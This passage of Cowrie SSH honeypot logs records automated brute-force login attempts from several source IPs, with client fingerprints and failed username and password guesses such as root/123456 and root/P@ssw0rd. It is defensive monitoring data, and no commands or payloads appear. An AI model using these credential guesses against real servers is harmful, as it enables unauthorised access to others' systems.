0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:25.253383Z","src_ip":"193.151.144.93","session":"69b8a6ab6df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:25.767312Z","src_ip":"193.151.144.93","session":"69b8a6ab6df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:27.392627Z","src_ip":"193.151.144.93","session":"69b8a6ab6df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":47008,"dst_ip":"159.203.135.109","dst_port":22,"session":"63d36e259fc6","protocol":"ssh","message":"New connection: 103.82.20.28:47008 (159.203.135.109:22) [session: 63d36e259fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:30.085361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:30.093138Z","src_ip":"103.82.20.28","session":"63d36e259fc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:30.363068Z","src_ip":"103.82.20.28","session":"63d36e259fc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54388,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb3f0fb7e03","protocol":"ssh","message":"New connection: 193.151.144.93:54388 (10.17.0.5:22) [session: 2bb3f0fb7e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:30.434226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:30.439683Z","src_ip":"193.151.144.93","session":"2bb3f0fb7e03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:30.611711Z","src_ip":"193.151.144.93","session":"2bb3f0fb7e03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:31.126508Z","src_ip":"193.151.144.93","session":"2bb3f0fb7e03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hottie","message":"login attempt [root/hottie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:31.157715Z","src_ip":"103.82.20.28","session":"63d36e259fc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":36968,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc902280752c","protocol":"ssh","message":"New connection: 43.242.203.160:36968 (159.203.135.109:22) [session: bc902280752c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:31.642378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:31.647117Z","src_ip":"43.242.203.160","session":"bc902280752c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:31.866880Z","src_ip":"43.242.203.160","session":"bc902280752c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:32.423774Z","src_ip":"103.82.20.28","session":"63d36e259fc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marko","password":"marko123","message":"login attempt [marko/marko123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:32.783965Z","src_ip":"43.242.203.160","session":"bc902280752c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:33.182539Z","src_ip":"193.151.144.93","session":"2bb3f0fb7e03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:34.013313Z","src_ip":"43.242.203.160","session":"bc902280752c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54398,"dst_ip":"10.17.0.5","dst_port":22,"session":"22a54b22ecda","protocol":"ssh","message":"New connection: 193.151.144.93:54398 (10.17.0.5:22) [session: 22a54b22ecda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:35.766506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:35.771845Z","src_ip":"193.151.144.93","session":"22a54b22ecda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:35.939791Z","src_ip":"193.151.144.93","session":"22a54b22ecda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:36.443902Z","src_ip":"193.151.144.93","session":"22a54b22ecda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:37.613878Z","src_ip":"193.151.144.93","session":"22a54b22ecda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37176,"dst_ip":"10.17.0.5","dst_port":22,"session":"55bb54240889","protocol":"ssh","message":"New connection: 193.151.144.93:37176 (10.17.0.5:22) [session: 55bb54240889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:41.274162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:41.278805Z","src_ip":"193.151.144.93","session":"55bb54240889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:41.451426Z","src_ip":"193.151.144.93","session":"55bb54240889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:41.960335Z","src_ip":"193.151.144.93","session":"55bb54240889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:43.578219Z","src_ip":"193.151.144.93","session":"55bb54240889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37194,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd17ffb325c0","protocol":"ssh","message":"New connection: 193.151.144.93:37194 (10.17.0.5:22) [session: fd17ffb325c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:46.746989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:46.752767Z","src_ip":"193.151.144.93","session":"fd17ffb325c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:46.919957Z","src_ip":"193.151.144.93","session":"fd17ffb325c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:47.420665Z","src_ip":"193.151.144.93","session":"fd17ffb325c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:48.591260Z","src_ip":"193.151.144.93","session":"fd17ffb325c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37514,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5b4677e4425","protocol":"ssh","message":"New connection: 193.151.144.93:37514 (10.17.0.5:22) [session: d5b4677e4425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:51.995800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:52.001426Z","src_ip":"193.151.144.93","session":"d5b4677e4425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:52.179317Z","src_ip":"193.151.144.93","session":"d5b4677e4425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:52.698959Z","src_ip":"193.151.144.93","session":"d5b4677e4425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:53.875038Z","src_ip":"193.151.144.93","session":"d5b4677e4425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37526,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc4abbc82b9","protocol":"ssh","message":"New connection: 193.151.144.93:37526 (10.17.0.5:22) [session: 1bc4abbc82b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:58.102537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:58.107471Z","src_ip":"193.151.144.93","session":"1bc4abbc82b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:58.277536Z","src_ip":"193.151.144.93","session":"1bc4abbc82b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:58.785820Z","src_ip":"193.151.144.93","session":"1bc4abbc82b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:00.375803Z","src_ip":"193.151.144.93","session":"1bc4abbc82b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35016,"dst_ip":"10.17.0.5","dst_port":22,"session":"016402d3311c","protocol":"ssh","message":"New connection: 193.151.144.93:35016 (10.17.0.5:22) [session: 016402d3311c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:03.666604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:03.673093Z","src_ip":"193.151.144.93","session":"016402d3311c","protocol":"ssh"}
